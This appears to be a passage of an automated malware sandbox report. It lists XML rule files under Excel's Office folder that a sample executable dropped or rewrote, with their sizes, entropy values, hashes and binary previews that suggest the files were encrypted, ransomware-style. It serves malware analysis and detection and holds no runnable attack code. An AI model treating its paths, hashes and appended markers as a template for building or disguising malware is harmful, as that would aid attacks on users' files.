.X.F..G..../.G1...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.810421011032662
Encrypted:	false
SSDEEP:	24:+Tgno5S9znKuQvDUISbqYgh+R+F9qfU6gCIfYsbD:+Ao5siYaU+FYfM1AmD
MD5:	F3C70D16B25F8294489242E34BD040E1
SHA1:	9BF3C0B25F70A5C2CEA1B151D3FC198EC9483DA2
SHA-256:	6F7F4C80A07FBCDEB1DB0F4BFD45A3EC9F79189ED5E1D2D3D0F533835C4494BD
SHA-512:	6365E527043ADF18171D781FAE633FB4706A45A0C4F4ADC9066410C2816D7BDA5D3D25F93DAA091D23E5ADFF5C39B469A925DD221492EA5F9A8E67B7A116E537
Malicious:	false
Preview:	<?xml9r..p.ik..Q..s.....7?..g.c...<....on..\..UeG....B...j..n.......G.A~....N..P.y.X...5....uo.. .$...s..as..xDa!..i...pr...Z..O.r.-...e._.%&HC.A......x....+.....Y.....XE6O...n..R..c..r.#.p.(..>..eAG.....>1....xRU./iZ....F..P..V..9..9O.....R.0.._......;...k..`.0..0....$.j-..........S'.[.4.S.y..yvx~[.j.q..!..zM.NZ...l^..M.W.b.....V.M>....+.K..w.3Y....4h..S.....XQHo.J.......\.B..^../..o........Fj.y....].....jI.:.S..w.4.....p..r..........^.L.k.....n..:..r..........).....".e..`g.0.8.L`..l.=.&W...cx........{............7....g..<..].L.z..V..,.M..a.a&U....:.... ed..#an...RN...ht.N&..^..}^F.}VU......0...8.L.G..z.}.:..S.../.&...W\}.'6V......U#.TA.:.....Z..>g..6...w..y..KL.I$.=..J.t..1P..u..pa*.!..%h..7{.F.#......;w..PkD.....U.K..`.....N......H_6L..$CIN..9.....k.d..'i.x.e...j._.....P.P..4A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.811726709228754
Encrypted:	false
SSDEEP:	24:xl9PjuXPh7sQ3JeiTC6LBCuw8q8ibgIs+mhjvtDjISvog8RfKbD:x7uZh3JFGoJqHbO+YvtW3oD
MD5:	220A3D6E4A433E1FEA4351D1C1F336F9
SHA1:	3277B68B10FF8B2B881A47920FEDA10E15DF3AFF
SHA-256:	EF4F0CD5A91C7677B133275062518B6EB9B5699F875177BD8F0272207DBB3E13
SHA-512:	16C54C7EFC8B58BF4D1CE0802F9C98DB1C0849A61048D1640076E15FDCC7AE0B0CB7E931473D67632819AC0E9CEF7288AFF77EC00BA2DD83B03C73248C634E88
Malicious:	false
Preview:	<?xml.P.k.J.\|.74f%......+.Jb...n..2...U).&p..H.R.31.g.%-.P.P....!..!r...-..&'..1.^3P...1.....B..z..bc.T&......R.......?...4\|.<_n.....&o~@.i.I.x....[).n.R.".W..,.E.Z....D`iOBWT.^S...{.JO...ix.K!1f5.H.r...Zy.ng.R..J....5...v....9.....'....X....r...U..^@..Ks.a..... +...~2.....8.8..D0ZS.....).T...omk....89.W..uh.O....&:.{c.cn!.%.A;.j.z.TR.m...P...`...L...r4.5}G/..W./U.....s.s.Q..:~....D.2E.H3........<..4.6C.(4..Je.~m.....{E..\|.Q+A.Z.".6.e...D.....%..z.#.j....b\.E}......,X...^=....y.B`ME.E..}..jz...........%...v.....{....H.FD\|...w..H.]..#JE..} ..Td..1m......a.....a.A+>..ww.w.Xs,&!).8(..vyo.#].+.....!k.4.....MV...#un..Q....,O.4.2..L.....E.=(...L<Hj...d..z..].....R....)w.S[@.T...t...T.K..rz.0.n.M Wu~.J.t..rs.I...{.%......k...}.......&...\.....~P.........t.C.I.Kj...6.=.V...n..V.?........;g..y#Y..`a%..v..Dp..qu....S..z.d.._.s...N.D6... .}& .U5P...vD.....j..b.Z..;s.o.3b....T..).C..\|{..-...?v....\|-9.Z..."..3+.......o.H...F.(.[S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.824569709020804
Encrypted:	false
SSDEEP:	24:Aa8MdSQ7hFUEOil2GAXHgu6vKFBe2Z6JrivmPjCcL7xj1nk9pokG8x/+TbD:AVMdSYhll2Ku6vsBfMJrivmPF9jOJGiu
MD5:	56DB9792C7EEDED2D8005D9E5D952472
SHA1:	5A234562054892A3C546E7E5EFC3BEA5EC20C749
SHA-256:	39C58BF3A5E3744741E727BDDE28176EED6508485F1236B76805B51C2AA3EB5E
SHA-512:	32D00AE17BC72EEFC0AEDAFB84B82D36D57FEF9854CD15FCC899AF978C93772F1B1EA65CFE2CC84BB25B9032B2F618D3D14CBBB0F06BB8D495DE87CCC17A10AD
Malicious:	false
Preview:	<?xml.]..M...\.~b.r/,u.>".z..weV.\|w..D.I..\|pE.9.y.jR.(.C@=.)..I../.}:...CE6 &.o./.\|.U...!.?..#..$..H8.:qM.Wt#.....k..qR.5I..F....R....k.j..>....7y..a.Z{..!_..D.....^.fB....#_..ug.`.,'..7j.kQ........w.=...\|ys..(..t.#.j.' .s.t.{$.;tt....$.6).].....>%0..Q..hYO.i{.SI\|..g...P:..[Px...Q......R+r.x..^[.o......"N.!.....:....Mp....3..e.RSpQ..3..ej..03W....wn...j...........}.S.K.^<.......r$8....d....R......t.r.....%..E8....=.>CK..k.....]\|ryQ`Lv...F.=.Mc...c.EN...=.S..8m.NYA.1.i.]#..F....C...9i...f.2jQy>.'...K...z..&4.D... 6.Sa..M.p...u%\.K.vP-.!...K.t..W....~.&...wy.=M#.wU##.....6.x.\|7u`..F&~.._..U6X..vaG..7..PzN.I..+....x0..Ai....h2.{...-.X..o...Nv...5.M.r.V.$...;.s.EL....h'.O..c..h...8.\|......[...r..21g.GQ.72.c.B.O..v.gx8\.u.... o.A.5...'.3fs.n.....0s...\.'..Q..F.Kh."\.....kJ0W.Q1.^.>h.2.`u)`od.,..mrJ...jm.2{.X..p.C.O...1..+a...[.B.[.`\|....+.".......x......>c]....N..<e9..w0s.i....].... tF.3...Ix.)...[.L.>m.(..(eeF.._..Qi.'....*.D.f..D...g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.820840963456168
Encrypted:	false
SSDEEP:	24:qm7C3O7cdp1SbD8Agw39QLV0rMzoWePo2w2DKbD:qmSL8RgwAsnw2DoD
MD5:	32B6E127DC0148904425C668AC3F794C
SHA1:	79A9A81A3A3E851AA93A5786B6BC0EE875ACEC80
SHA-256:	B0CA0DA50652E6C441BE49A091A6913A6545968F83DA4B812AB2E93CBD508E0E
SHA-512:	A6DE21BA6DC42F35975019B791747A23ACA189F6EF106B37277F1CFAA4AA99EEA564563F365361F8BEB17FE450921DF345FC2B28A8791903343158576E0340C0
Malicious:	false
Preview:	<?xml#f......H.E...R.....$..(5.Cd.gT.r..E..[...%...4I.p.A;(.9.._.z..:7.R..z@..x......t..../\..C..~.v.F..-..#..j..).ZB.\|...p.<.0.....u...1..a#.....9!3./...../..)+.C....LD..d......I.az.A....xC.`~....b..8.P...s...."...1q.G.z.f..W.m.....[;[..W)`P]&+=.lO.5A...A...l.....i...,..(.Q..N.<.L....^....M.t.....ZT.D.l..Ok)n,..{.^y-V.....uQ.....R.X...~....k&..x.`mG.+w..5.zv<>....f.Z..._..../.2...z....^...W..9.t5VX.?W.:.0.....@.8..%P.g...a.9.1.)..j......]]bQ.\...a+b..~...ye,..W.'.Yqt..f..z.q..%.....V.rm.U......k.........Vv....S.a...'.&.n.............kb.x.j.Z..6U....39..h.....\.\|...l.<m.....].w}.j.?E....jw...@@..%..(.qW.0.l.P..0X....O.\..~.D.....Y.Z.CL(.;...}..tE.K.k...^<.-...7...s..$r.?.X-.....<U...s.........d..A.7..9Z.......p4.......\|..t.....0N.;..Z...t.Q...Q....8.F...y$ ....ll.uD....(.+.....).Z.dh...Sd.Zi.0..`....E.@...q.....i.......d..^.....so..n.....c....R#y.h.....7.2.5...F.../.:.C}..+g .3.oRb.l.W.%w..KE^.r.{....[.<...}).>A...+.....,...Iw..$U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.838631370357409
Encrypted:	false
SSDEEP:	24:X4QYrLdI+DoN2wraZC22yrzqmLB/4eqZocBFK1bD:X4QYO+Pwh2DB9cHaD
MD5:	7AE1F1B5CBCC7F2980D70AFE77F41839
SHA1:	6B9D6E4866366CE971FB8F712B86A30A9AC36057
SHA-256:	9E31867A6402549B551CEAB8E3CEA7D349FF781B586C4163E521A9E5737C41DC
SHA-512:	EB51BBD755E7661B075A84B4642DF0C350A81792EDA1DA7A647CADA4A637AF171D9713404C3E5865F7C1BB31BA95DB55E2472E5FE3B0D633E384373ED475AA3D
Malicious:	false
Preview:	<?xml..^d8s?.q.......m....D...%.....hV..............B.}...=...k.j...@<.. .........%<e.f....v]{lG\B....T@.<_.~.w>.Ih..J.!....u.j]c.fX.."...M2...D41Ho..S.%..)Z,k..L.xq...t.e...K..............:.....rg0e(.....V.Dl..Q.GZ.Xr".zs.........M.!......r..`...B......!0)1.4..a.......L..H-Cx...pj.c.AH.mn.;.m81.Q_(!.......F..%.. .acv.......ed.^P........^TK'.q"W.9...m.E.c.w.P....S...4.&;#....u...._..hFm.....nEA.Bm..;7j.-..E+5T.qWH..#....YT..M..^..p[.K......T.\...c.B....Z.F..;T1...0.W.==.R....r............X#Dji.M...E.l......_......V5..G.W..a..+C.L.d....yo..T\|c\|am)e...+...D..;....?M....R.....#u._.}N.T..C....`.L..2.\...S.A^9..}.Z..g..RF.I.9M.V...%`.f.UQ............G........4...I.}(z/.....pB......n.h_h_.....~..s.7.:wQ.u...R..#.N..J..?c.k4.]....A......d../.V.....N..yr.I.h.j.k...M.l..@9c..q....1+-..a..?sM. ._..R...=.Q.,B..i.."8.i~.....V..f\|Vf.....6...o......C.#.HY.'..J.../&p...R.k{kko.B.mu.. ......Y..9.R.f...... .x..&f.;..!;..Q..?..)m..............^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.809024359913539
Encrypted:	false
SSDEEP:	24:MZrWXh8SWLMYxnAP/MTgtBTso3nX8jg1tDjdbD:Ta/OcTanX8wt/dD
MD5:	C8729522EA2131011FD4878F211835CF
SHA1:	EFC7BEF2F4A5ADD256BB87B2D965F3ED91627BEF
SHA-256:	8A7C6C96A14078270540F38FE91F659A8D46FA4D1A48622CFF4A4C4AB5804C53
SHA-512:	83343B800BE9160F9417CB614FA38E15ED1401F6F61B09AEADD2A97B2A71FD0E9D2E9A8386C0D88DA66D43E116DC6F37626AD26EC21342ECC849F391B7B7D9B5
Malicious:	false
Preview:	<?xmlCB.n..;......~...ZS.TE......qm...~1N......v.y.....K4........H&..l..)..{c.R...,C..R.9..o...<.....'<V4i.....v.7..7.I.?0.......T;..{.6.v7....)./;.BjO..K7...[K.O.E......n....;$4..@.v.(...LZ.....@.. ........J..N{i.Y..~. .%.5<#..E.......... .......u.%W...,..6.G.....-?A.w...X..-.]4?J.vH..2....+.o......%.Mj..08N..J.....0....f.2..2J..wT.!C.....P"P.;.%....[Dd.e..........).$...b...R.Y..ir.7...b.i...1!.....:.....UX=..k..C..4.....q..?.Op...k....{....z..A.%F..H..y.%t...s....d!...l.\|...c...T..K.4d.+...n.f.JA\|..j..qZ..@z...Tx.q.o..R.W'..2r.Z.).sabS.B.......=.2..NS4.A../D.VM\T.1.....,.;!\|)K(O.C.4h\|..-..V..hT....Z..+...,..7.`r..C../.9..m........v.=..s...\..Cl.....p<O.a.T;^.s.}..s.%jn.....N..l.{.}.2..F..$3.u.....&....\| K5..9i.XB....8R8......2.s9J...(j..5..sv.."..M..P...h..g.....Y!....;...K...\|.4...d..b.x.,.,b.Q)&.^....g9.%.L..7.5..e.e......-.}...'}...N.....iJ..e.r.....J.....K...L._{N.....u..x...&....._.e...1...\......M?IT.Go.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.793911373228403
Encrypted:	false
SSDEEP:	24:B3vesPRlA9UD+zIID3XCu29COAb/0emJss/DNQLPXGbD:dflA5zHuj9fAos7LPXUD
MD5:	3B754C176EC4C0AD5FF01E55106B6FA1
SHA1:	D3C3CC7CF4A6C794BB5A56790EB1239D829182E5
SHA-256:	56607C8ACD331C94295C76086CFE0A366D635FECEFBA8C28BFDB551B3F34357B
SHA-512:	EEF519772224CC86BC86D13B5CD3654E6A93EEC00B27A46AC6A02757AC1DCE67A1C8679CDF7A024C8CBDD59574F435EE16FB4EC603269608D8A37847313D0269
Malicious:	false
Preview:	<?xml..L.FI.....?.f4.......~....N._....S.H..fa.,?...t...Y...aY..^C.6w.....;.j.."#.U..x...7..........\|..S..!..<.CPX.&.Q.h....... ...!./.....=i..;.3. ..&..1E..c..B].sn..../...D!...h.,.@...2U.&..r.~.S.}c.xO\.-y:N............<>..J.>V.}.@.?.K...r....:@........C...7i. .H..i.!.T...X..;...&..l...,..Yl....y..`.<.f.1K.O`....<.$...Q.K.#o......Z.b."...c.`... .zj...S.OW.........WG......D..3._.@NV.z.ZA..EJ3.....f.F..M#.;........y.......i.B.8..O.1..7.j....60i..].N.C......hW_%f.b..q.G.N?......'.."?......ul.....4.$.h..a.%.[."./1.....'0.....m5...M.m.........l.Dq+.a".....".~q3.R..^S..~.w.\|...^..az.Dc.F......;j...16k[n.n..>..@1}UP.1%.....)...M`R...a......s.D.A..&....ez.H/K,...3..P,..r/.....xF... .A....^6..;?p......k.b.^.?.1......^.......&.:.-"..\|..).N(.M.OK.a ../).5Wck.N.3.....m;Z}w...9._.f."r.+..H-....9....!.6.p...c].`9.......Q.;(u.c.V. Q..s}.......g#..D.\|......C..]K&[y...p..]!..w........P.Y).w!A..J.2./.i....F(A.....8.7m...*...".......Mn/..1M.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.766734871588993
Encrypted:	false
SSDEEP:	24:ibS03Y7RqMSUpPISe2YAseSZUlh8Ap4GSLc1cxbD:AqqNUpASe8Gw2nLc8D
MD5:	9E14F364966E234528EE87336FEF5322
SHA1:	671CEC3E1EFE970E3FB5218635487EB65B6F61A2
SHA-256:	877BF10F44B632B2A15A29554301C908F2FFEB47DC0504D1869A89F4DE740692
SHA-512:	DEF9CBC65915833B75DBB247CAE7F6B432284186A6048FEC778369C54FF1BA2114F3B3AB3C3C615BCB611C57773AABB9181D183B1718FA690B255FB1C2609743
Malicious:	false
Preview:	<?xmls.\|.N.....&...G9....xOKY........c.b..CZ+&.)......@P..W..c?..w.f...}.T.r).....8.j...+.......7......N;..x.$...4.t....Ji!...U.xf/...j,a.q.5.+..#...qX.6.......H8.....X......:s....o.....T.(...Z........!.%.........].G....(.D.......(....H.7.BG...$z.....g.a...f......AW.d.)1....a.~.w.A..`..c.5H.q....Qo...lqk:..ZD.....h..o... .f..H.c...Y...-*..&.1.Q.S.&...!j..n...k...%..uc'..........z.V9..y/.X.Dw..^$..X...>..z.1.j..._y...n......v.=..{...u.....(....^.Io8........Z.@.^....;v.....K.l.$ b.e...5.Tf4E1,%.?.....l..Sl'dK.3Pt~HS..^...@&.?.X.XXa?..F.. y?....f...H...&..B.tZ.z.e....qP....\|.e.AN..m..Pta.{.......m.g^.0_..a.I.>....g'..P.cP.w.9.jE)>....'.j.<0.s.)].h.s.$..C....g.......0...{..O................F....:l.~\|v.U.....@".7........rG..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.713145097598108
Encrypted:	false
SSDEEP:	12:opHhnOn6F16HAXLi/yAf647Q/o4bsHLpdJwdsEuh/saVBaqhn0t1+cii9a:sHUnuu/yGeP4HLnJwdsrPe9mbD
MD5:	C3E2D2B1852E33118B523DFCC927AC14
SHA1:	2791115E66970B79C0C897EDC7240A5C49026149
SHA-256:	11C738CBEB1E2426CDF4AF61921FA76BD5C1FEEE4F9C3E20BB240B75A154F4C0
SHA-512:	121FCE6596AAB692E8152DD13E3F1323FA3883E630E9E6A965224AB7199A4F5A354B062367A01058F9D687735B16428496E84A09612E25311E51BFC2358F5653
Malicious:	false
Preview:	<?xmlx=`...>.....*-.1.-.&.......U.DA...jLPf+..D..9r.\|_............Z. Z.i.K...S8o.R..O....+{BT...B"...SX..:._A.....\|.4...gn.RU.y.!m..=.%<..@...3s..V.E.....}L.A...5..y..T.....lm..j..I...F..8..w...<'.1..`G....&.)A...${B.I.U.WR..K.%...<..\.%.2t.h.)0..^..h.f..{..........OU-..Q."0>p[...q..f...:l.9_......0<X..Z.q..v.4.1...p..l.pW=rs.[.H.gl.d..J.).....R..sPu-.q.._6fM@..~..().......b...M.....`...v.......T..v.;(.~[O....S.T./.D...h.bB.r.$....Q......7.<.P.R.]....B.}r.H."!.....(4...?<.i.b..y\|U....X<.........}1\..}./Z.=..5..g.W>....\|....c....a7..p.'...IxNs.M1.........w.~...h.`_V.0..a..).U.........n...Id;..9..l4.==.],....C0..zN...{... ]74V.$k....Z&.V.E..... .n.Gp+...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.735097827767028
Encrypted:	false
SSDEEP:	24:YKDlDU3/QnEtd7+LddmLN+OqBI0ziK/oFn1WttIlbD:tJ61+3y+OyJzJ/oF51D
MD5:	8090A65B902A80D19D5ABA0664D2A09A
SHA1:	CFA7062D78B76A55B98CA769EEABF955315D1D74
SHA-256:	AD67C362B273492ECEE90B4C9DAFCDB56C014704B7360D5EBBD9542201FB640A
SHA-512:	E0735DEF09D5A665713A6927D21CD928BAB91C2CBD6304248A4B8A71BDBE073D1161A83F88A3AEEDCA06B46156950E39209AF6C319DBE3C1C526C07D9625250B
Malicious:	false
Preview:	<?xml%._..}..D3.d...J.j7....w.........).e_....d...r..{...fh.8..Q.....H..z.+...DP(.4/.4....._0B.2>.s.,e..JH....p.Q<....lL.o..T..JL..W%{..h.@..S....7.."..p?xV....a..n8...~....o...._.....@l..v{./g....O .7f...z?.6Z..#b....c}&..nR...k...9\.O..t.C...;l.@.=....?...J^8e......v....-..$J9.ju.@.Z8...Y...1_4......o..!Zf.Cb.d..V..;..hN..A.s.(.S....CG>.......?t.....w....w.:.O..E.$..%.....&.y,....V.,...lt.[....{.\...#JYU....\...-..i..kr.k...M..^..P.=.pa..e..#o..".$I.Or...8.-2\.....!t..~..s..\|..Ss.t.l.B...=_.e:@..$.......B......U..+.f..:.[...3.o.....(0.B...sp.....$O.v.......Fp9.`..._Z.w8.CI....j.......!h.$ .\|79W>-...)...y+. .p.v.......@...y.uC.,...\|..f.xbn.;4.N>v.....V_..)i.5g.h....)<Oh{v!.a.q..U..N..v&.E&.....(..+\...L..F..i;..*...=...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.845469450332643
Encrypted:	false
SSDEEP:	24:aF2RwI4dL7Ks9/2PkbYMDwbivuoLd5YX7+SaQKq6rnRcBbD:i2RXi2lPr2YiGoh5YX7+S6ryD
MD5:	AAA81D0204CE001875B3E522C47FBC1B
SHA1:	9338888CEF4EBF54D9E3574102F39C9993B62DBE
SHA-256:	EC1C462D82689493105066C2B46B285EA5692AA3104CA90E47CB476ED6BED5FB
SHA-512:	0641148F6A1EB57683A5559B44ED533315D56E90E307A2266692931D856614C32F5C5793E177CD2E1DEC1F31AFB33F4887ED72570812956D2052C4DC9E2F1FF1
Malicious:	false
Preview:	<?xmlPg.6..>Gw...I.g...DC...\.............h......&...q...#l.t.?i..v.7..W.D.1. .$-.....H4n`Wd^...J{.}.......}....z.."..J..s...[.=..(./'....j....t....\..~.7.CU=...W.A.GW.3....He..".}L..4w...qi^.%.`...a4.i.........OyH..C...3pCZ......L.$.t....=.;J.E..7...].j..]f..&..O.A_r=...I_Q.B..\|cS.,..&...q ......f.~@N.....?.\..K..z{...Z...f......7...{.....W1..](. .!.. r.E .....t.3.-.Cd......KJ.\|S......L._w....v8........WV.,.....]".........[i..n....r.P.t.(......A3.h..R=...PJg2m...i.K....$.e.....7.:.-..(........}.l5..q...\|C4...yp.).4..u.E......+...h......{...zN..I..........9..^..j.._..K/.......R.%.j..c......u4.z.....gt6'i..7....u..%.X.C.j31z.....H.'..R.H...7....4.v..w........T.u.@.#.8W..@..h.%.>.~.i]G.2CM...ua..o. #........4.....P..+.._m.......q,v..I.p.y...j].C\-@.Z..L.w..._N....e.Q.. h...G.........b0.....RN.. ...{.W.....\4#JE.Jw...W....D.te0.V$..;....[,6._.r.(...~.m..-.t....l...Z.}..s.....2.,m.X..?._.......6.z.....*.".....N..W...:.:.B?...A..I.j...H....]i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.788162342432305
Encrypted:	false
SSDEEP:	24:48J+AG/Sjdj6rav2les4HyZyRiZbDYf9BFu7kJRTrhCFbD:LlzjdWGv2VDDYFRMVD
MD5:	E4A8B274CE1AEB0D365E52C17F7E04C7
SHA1:	99667D2D3E88F3EC33B7EF7DF8FE0916E510EAD7
SHA-256:	4EBD9AC10E67F5661D253EFED47C29D9B7F264AB21709AA5889BF1AA2F54E201
SHA-512:	D2A938E8F86E1A0FFEF8F36490742B6E9A87CC7DA12EE6388D46077D56513E08D17735D31ACA765535C728D7E57D9B220CBD493177132382718E86169B514A80
Malicious:	false
Preview:	<?xml.e...x ......c....3....P......`L../.+.<r..HB+..lD...2.....X..3H".S.b.H.j..oD........".a..Q.>.i.4...y.e..X.;..M..../H..Q].ew..d..<...D.....JXUA.v6.c..,.1...U.3.sM..:......Lf......n..v..............".K.B.X.dp..Q(.o...U..\.8bg....)....... ....t...U..}...n...'..A.1...HS._qj.....\.#...H..2.~.'.I..e..l.u].9.....D......j...wR.+..KTz.9%..^.O....;.M....3....[.x.......,kA'..Y..K.....4..DO... &...!....6....L>..J...zh.?H.?..j......Y................9..(;vs.....G....r..Jz...5Gd.....SLFF......>?S;3.<z....#$ctB.......%T+r.}...u..ti..<.dR.].;...g..5P.4E@=.)...F.......,.{...t=.g{Y......s._J..l.7w..{..B....o..z.(..R...`..3h.!x-1....s..........`...w...lTGb./..s3....=..>..K&.~...<.&.UV.I.30./#..H.......j%.2.g.............M.....e..3....K...n..>.._SB..d.....c../.^..z5.6.Q.m.XXy'lda.u;...T.Q.......... ...W\..\.@SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.766242846792988
Encrypted:	false
SSDEEP:	24:ZgzEt8VsboWfA0GO0+fg4K7fbJ8LE/ViuAgK5FHagyPsuSbD:7csUt0/tzK7fu4/VjAEgyPs5D
MD5:	ABB7CF53AB71CE65AC6FEAA2D8237A4A
SHA1:	5445C016769947951A4E7334102C2D8368133CDB
SHA-256:	3D08572EE5FBAA27330743F4201ADB3C52E7C873127E697BF4F1DD17DDFB2DB9
SHA-512:	DFBFDBFA4BE9F40D73EC36EE5D9C87316BB98B663634CA237AFEEF2C36CAB3E26E7F6F0752DA19A792241B228F913ABDEB18C5F8C5CA2E06A77035590A6E03E5
Malicious:	false
Preview:	<?xml.<_-..)...Cj0....{:...Q+..".......u.a.....@!.......N.%..RfV..>vp.......Q..d@....I.>x.qw4..I.(p.T.../G.4.&}...L+e.`Lf.z7b..h..q].....E...\|.......@.a....#.Mi...j.&az...DZ.`,.J.2..v:.&....?.W..e..#}...g..n. .~....%.....}i.N.(.`.I..h.V.R.l........?.......:...L..1.Z.E".A.Z.0........di(.B...%O....D...U..'O.".........[....u..0.u...6.......#F6].7-.c...AljL..a...o.#...."I...Hj....3S.,..$..g.....[..(......D<6}....BwC[.....I.e...=......L.Ye.g.u..s..GL.Ety.~Ng...NzZ.c.eN.q3..r'.G...fN...?..4z.$.w..$.4ueu...e.F.....H..<X....}.Bz..;.5.Q.E...=.7...,......;./.v.J}[.s..../k.....a.7..Az.$$#q..QA.1.p..V.9#".U.Y.9.....J..X`U!...!U.r".9R....T.U&l..IO...h']..#.Q.......x....<..4...q.V.!I[.:..Dd../..b*uH#..d=q...........d.<....S'..u.tO.tjw.O.......79.9.jbg..o......3.......g.....[#..;K.U....h.k.+.F.EJ...?..H.^n.Ww..Y..04.m0...ISLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.855617790656883
Encrypted:	false
SSDEEP:	24:Y84sc/j4GN4vNpZE/kEKKiJPgTt9rI5bXltkrpsqe86xVSt+LW/sX6cbD:YQcrVeNpqME4Pgbk5b1tke5xZLWsq2D
MD5:	7FFD59655348995203E132228BBFEE40
SHA1:	80621F689E71D78C344459FA6819CF9779B8C97B
SHA-256:	697655B98D58C636C6A35CD9AB8D5946274D78B575CAE85E01AC489BD4AEDBDD
SHA-512:	6CE4EE62D2786D5A4AE18849DCB35D3DC11A3637727C3062395703F0AED65AEA20CF493A34DFEC04E0BE9DA4B155E5359D03DCEC68D8FDE8232714777D18277E
Malicious:	false
Preview:	<?xml2..y...Y%.g.....S..m.F..a.z&ou...{Y2.-V.C....Z..n.)W...........~.........m.#.r.n..T8...H2YI.#......3.l.(.PC....w.....G7......C...;..7......6..g:.O.ggH.]Mj<qLD.B..$.X.+.6.p:.QS../.._.!.e..f...Y?.p)S.?/9._.s.G/~.0...5Rn...{.....6.>h#q.7.g...[...._....q{...w.we.....A...TF.3.E.rw..G...7Cm.-q..g\..E.3..u......n....+{!S....6.:^K..z....+...s..(.w.vf...qK.@....<.]...Q......r.>.., ..AO..s...g....L..AI.@.L.....t<}.....o......9.s......u.ZB.uB-..[n$9.#4Qj..^.~..A...p..f.[.PD..T..1.5..'...[...4...C...j..=^.%....!"M='..R.....)...u8[.(._......G.....q..t.]u(.V....~.&...$`......?.Q..f..@.i?S..Z.>..\B .}...;.......3b..!.S..!......M......M&....,.*9.y..s.n4...............v..fCq.).c=@S#@2H....@..K...../.N........~v....8.F.....+..L.[...x ,..&....z..d.s.%.XI..M...` wKo&..L...<...0......+1.6.-..b.o)..../...2\|.G.%..".....Uj...=4..[Pur.....b......Q.zO.."..._....N........:..c5.T&.{...H....@..;.$/.g[.=..........P.h.(l.>........V#r.K....$I.#....{..s.C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.868930420365655
Encrypted:	false
SSDEEP:	24:GGvCXTFwgU65HYfjL5ofla9bTdE8oR+feNm5qelC001VhC3tU669R8AFdx6EigbD:3+L5H8L5otaoR+0cqCKNtcb6D
MD5:	9445BA1084869DA0FD20076E9F400CF8
SHA1:	A0058FA0A0E50527E5052C3F44F65CC40EF2A842
SHA-256:	CE32A21750E6D59B33EC5F29B6FD8546FCCC5FD04955D445A95E0B56A1059F06
